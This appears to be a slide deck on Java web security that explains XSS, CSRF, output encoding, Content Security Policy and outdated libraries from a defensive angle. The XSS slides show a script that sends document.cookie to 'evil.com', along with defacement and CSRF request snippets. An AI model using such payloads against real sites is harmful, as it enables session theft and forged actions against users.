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Java is safe



Java Runtime takes care of the security baseline



Java Runtime

Persistence

Services

Presentation
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Defense-in-depth: one layer is never enough





01 - Injection
02 - Broken Authentication and Session Management
03 - Cross-Site Scripting (XSS)
04 - Insecure Direct Object References
05 - Security Misconfiguration
06 - Sensitive Data Exposure
07 - Missing Function Level Access Control
08 - Cross-Site Request Forgery (CSRF)
09 - Using Components with Known Vulnerabilities
10 - Unvalidated Redirects and Forwards

OWASP TOP 10 2013



Examine the web application environment



Model all data entering and leaving your system



Always validate all input and escape all output





Cross-Site Scripting (XSS)



Using Cross-Site Scripting to retrieve session ids



Access victims’ session credentials

Site defacement 
Undermine CSRF defense 
Redirects (phishing) 
Load scripts 
Data theft



<script>
 document.body.innerHTML("XSS");
</script> 

Website defacement

<script>
 var img = new Image();
 img.src = "http://evil.com?" +    
            document.cookie;
</script> 

Session theft



Attacker

Victim

Victim

Persistent and reflected Cross-Site Scripting





@Entity
public class User {
  @Pattern(regexp="^[a-z0-9]+")
  private String username;

  @Size(min = 5, max = 50)
  private String email;  

  // ...
}

Hibernate Validator



<script>alert("XSS")</script>

For HTML
&lt;script&gt;alert(&#34;XSS&#34;)&lt;/script&gt;

For CSS
\3cscript\3e alert(\22XSS\22)\3c\2fscript\3e

For XML
&lt;script&gt;alert(&#34;XSS&#34;)&lt;/script&gt;

Encode all output for the proper context



OWASP Java Encoder

String encHTML = Encode.forHtml(name);
String encCSS  = Encode.forCssString(name);
String encXML  = Encode.forXml(name);



OWASP Java Encoder
<%@ page language="java" contentType="text/html; 
charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.owasp.encoder.Encode" %>
<%@ taglib prefix="e" uri="https://www.owasp.org/
      index.php/OWASP_Java_Encoder_Project" %>

<html>
<body>
 Hello 
  <%=Encode.forHtml(request.getParameter("name"))%>
 
 Hello
  <e:forHtml value="${param.name}"/>
</body>
</html>



<?xml version="1.0" encoding="UTF-8"?>
 <web-app ... version="3.1">
  <!-- ... -->
  <session-config>
   <!-- idle timeout -->
   <session-timeout>30</session-timeout>
   <cookie-config>
    <!-- prevent script access -->
    <http-only>true</http-only>
    <!-- HTTPS only -->
    <secure>true</secure>
   </cookie-config>
   <!-- no session rewriting -->
   <tracking-mode>COOKIE</tracking-mode>
  </session-config>
</web-app>



Content Security Policy is framework independent

response.addHeader(
  "Content-Security-Policy",
  "default-src 'self'"
);



Blocks
inline scripts 
inline styles 
eval()

XSS protection active after adding CSP header



default-src
object-src
script-src

default if specific directive is not set 
Sources in object, embed or applet tags 
Script sources (includes XSLT)

connect-src 
font-src 
frame-src 
img-src 
media-src 
style-src

XMLHttpRequest, WebSocket, … 
Font sources 
Sources embeddable as frames 
Image sources 
Video and audio sources 
CSS sources (does not include XSLT)

Content Security Policy directives



response.addHeader(
  "Content-Security-Policy",
  "default-src 'none';
   script-src *.sample.com;
   style-src sample.org"
);



* script-src * Wildcard

'self' script-src 'self' Same origin only 
(scheme, host, port)

'none' script-src 'none' Prevent loading any 
resource

*.sample.de script-src 
scripts.sample.de

Load from 
subdomain

https: script-src https: Load any script from 
https: origin

…

Content Security Policy source list



Content Security Policy as second layer of defense



Intercept requests/ responses with OWASP ZAP



DEMO
JavaSecurity XSS



Cross-Site Request Forgery (CSRF)



Using victims’ credentials to gain access



CSRF utilizes fire and forget requests
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void doGet(HttpServletRequest req,
  HttpServletResponse res) {
  String name = req.getParameter("name");
  // ...
}

<img src="Servlet-URL?name=CSRF"
 width="0" height="0" />



void doPost(HttpServletRequest req, 
  HttpServletResponse res) {
  String name = req.getParameter("name");
  // ...
}

var request = new XMLHttpRequest();
request.open("POST", "Servlet-URL");
request.send("name=CSRF");



Distinguish between normal and faked requests



Stop fake requests with random anti CSRF tokens



<form action="OrderServlet" method="post">
 <input type="hidden" 
  name="${_csrf.parameterName}"
  value="${_csrf.token}"/>

 <label for="product">Product</label>
 <input type="text" id="product" 
  name="product"/>

 <!— ... -->

 <input type="submit" value="Order" />
</form>

Spring Security



Test your CSRF protection with faked tokens



DEMO
JavaSecurity CSRF, CSRF-spring-security



When was the last time you’ve updated your libs?



Widespread outdated libs impose a greater risk



Code, libraries and configuration belong together



Outdated libraries imply a false sense of security



Find insecure libs with OWASP Dependency Check



Not every vulnerability may affect your application



Integrate Dependency Check into Jenkins builds



Test the functionality you rely on



Developers make 
the difference

Java is as (in)secure as most 
other languages 
Java can’t prevent every 
development bug 
(Web) application security is 
always the developers’ job
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